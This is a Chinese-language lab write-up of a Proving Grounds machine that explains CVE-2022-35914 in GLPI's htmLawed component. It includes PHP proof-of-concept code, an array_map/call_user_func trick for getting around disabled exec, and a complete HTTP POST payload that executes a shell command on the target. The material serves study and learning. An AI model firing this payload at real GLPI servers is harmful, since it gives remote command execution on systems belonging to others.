0x01 前言

在练习Proving Grounds的时候遇到一个靶机名为GLPI,里面利用到一个漏洞CVE-2022-35914,该漏洞是htmlawed组件的一个过滤不严导致的。

htmlawed是使用HTML标记处理文本的PHP脚本,使其更符合HTML标准和管理策略。它可以通过使HTML具有平衡且正确嵌套的标签的良好形式,从而中和代码引入安全漏洞或用于跨站点脚本(XSS)攻击,仅允许指定的HTML标签和属性等等

但是在复现的时候死活没能利用成果,后面看walkthrough才知道是原poc里面的exec函数被禁用了,所以导致一直没能利用成果。

0x02 漏洞分析

我们先来分析一下CVE-2022-35914是怎么回事的,组件的源码htmLawed’source code

该组件利用的范围在GLPI 的9.5.8 or <= 10.0.2,我们先看htmLawedTest.php的内容,该文件是接受参数保存为变量,然后调用htmLawed函数:

# htmlawedTest.php
...
if($do){
 $cfg = array();
 foreach($_POST as $k=>$v){
  if($k[0] == 'h' && $v != 'nil'){
   $cfg[substr($k, 1)] = $v;
  }
 }
...
$out = htmLawed($_POST['text'], $cfg, $_POST['spec']);

htmLawed函数是在htmlawed.php文件当中,该函数主要是用来接收三个参数:

# htmlawed.php
function htmLawed($t, $C=1, $S=array()){
    ...
    $C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0;
    ...
    if($C['hook']){$t = $C['hook']($t, $C, $S);}

到这里就能发现主要起作用的就是:

$C['hook']($t, $C, $S)
  • $C[‘hook’]是在$cfg数组里面的值
  • $t是$_POST[’text’]传进来的值
  • $C是$cfg数组的值
  • $S是 $_POST[‘spec’]传进来的值

漏洞点就在这里了,$C['hook']可以任意传值,那么我们传进一个危险函数的值不就可以利用了。但是呢,需要符合htmLawed函数的传值要求,$C['hook']需要是有三个参数的函数。

那么我们最先想到就是systemexec这些直接执行命令的函数,但是system不能在这里利用,因为它只有两个参数,所以不符合漏洞利用的要求:

image-20231013194412214

那么我们再看exec函数的说明:

image-20231013194826348

这样看来exec刚好符合漏洞利用的一个函数,那么利用的poc如下,这里我自己写了一个简单的php文件,跟漏洞环境一样,$cfg['hook']='exec';这里我就直接赋值了:

<?php

$cfg['hook']='exec';


htmLawed($_GET['text'], $cfg, $_GET['spec']);

function htmLawed($t, $C=1, $S=array()){

if($C['hook']){$t = $C['hook']($t, $C, $S);}
var_dump($t);
}

header('Content-type: application/json');

在text赋值为需要执行的命令即可:

image-20231013195137514

0x03 遇到disable function

当Proving Grounds里面的一个靶机环境就出现了disable function的情况,原本利用exec函数就能获取foothold点,但是这里就偏偏禁掉了这个函数。

这下鼓捣了很久,看了writeup才知道,还有一个array_map结合call_user_func一起可以达到利用的效果,在这里我只能说:编程语言这东西太奇妙了!

原本的payload无效:

image-20231013195650505

我们先给出一个最简单的利用代码:

array_map('call_user_func',
    ['system'],
    ['echo COMMANDEXEC']
);

效果如下:

image-20231013195856333

call_user_func大家再熟悉不过了,就是一个函数回调的作用,那么具体用法如下:

image-20231013200027404

举个例子,下面的代码传入exec_cmdmushroom两个参数,第一个需要调用函数的名称,第二个传入的参数就是函数里面需要用到的值:

<?php
function exec_cmd($command)
{
    echo exec($command);
}
call_user_func('exec_cmd', "whoami");
?>

执行后如下:

image-20231013200626622

再来看下array_map的用法:

image-20231013200138936

这个函数举个例子,它会执行第一个参数指向的函数,然后把后面的数组一一对应进行传入该函数,然后把结果保存为一个数组返回。

<?php
function myfunction($v1,$v2)
{
    if ($v1===$v2)
    {
       return "same";
    }
    return "different";
}
 
$a1=array("Horse","Dog","Cat");
$a2=array("Cow","Dog","Rat");
print_r(array_map("myfunction",$a1,$a2));
?>

执行的结果如下:

image-20231013200957654

既然已经了解的这两个函数的用法,那么我们就可以解决利用漏洞遇到的问题,还是模拟了漏洞的环境写了一段利用代码如下:

<?php

$cfg['hook']='array_map';

$cfg['exec']='system';

htmLawed($_GET['text'], $cfg, $_GET['spec']);

function htmLawed($t, $C=1, $S=array()){

if($C['hook']){$t = $C['hook']($t, $C, $S);}
var_dump($t);
}

header('Content-type: application/json');

?>

这里就开始不一样了,$_GET['text']传入的值不再是命令字符了,而是call_user_func函数,$cfg['hook']就传入array_map函数。那么我们的命令函数和命令字符该从哪里传进来呢?答案是在$cfg$_GET['spec'],再细看是不是跟我们上面举的例子一样,后面都是跟两个数组。

执行的结果如下:

image-20231013203654531

这里有两个问题,一个就是为什么要把命令字符 放在spec[1]位置,第二个就是为什么会有一条警告说array_map没有传入足够的参数。

因为传入的$cfg数组第一个位置是array_map,第二个才是命令字符,$cfg数组如下:

array(2) {
  ["hook"]=>
  string(9) "array_map"
  ["exec"]=>
  string(6) "system"
}

所以要对应才把命令字符放在数组的第二个位置,那么为什么会出现警告,是因为执行第一次array_map的时候代码如下:

array_map("call_user_func","array_map","");

所以才导致call_user_func调用array_map函数的时候出现只有一个参数的原因。

我们来看下靶机环境下的payload:

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 192.168.236.242
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.236.242
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.236.242/vendor/htmlawed/htmlawed/htmLawedTest.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: glpi_8ac3914e6055f1dc4d1023c9bbf5ce82=6p3ouriv43lrqojjhbqc5oa3vb; sid=2e7sdik7vmsclk7h6bmuoj0fbr
Connection: close

text=call_user_func&hhook=array_map&hexec=system&sid=2e7sdik7vmsclk7h6bmuoj0fbr&spec[0]=&spec[1]=ls

执行的效果:

image-20231013204543158

0x04 总结

遇到漏洞不清晰,一定得写下来,然后搭建环境实践过才知道该漏洞怎么利用,该函数的作用是什么,这样在后面的实战才能举一反三,而不是拿到利用poc利用就完事。

下一次遇到的时候一样不会,这个靶机之前实践过,但是留了个坑来写文章来复习才知道第二次遇到的时候还是没明白其中的原理,理解才是真理!

0x05 参考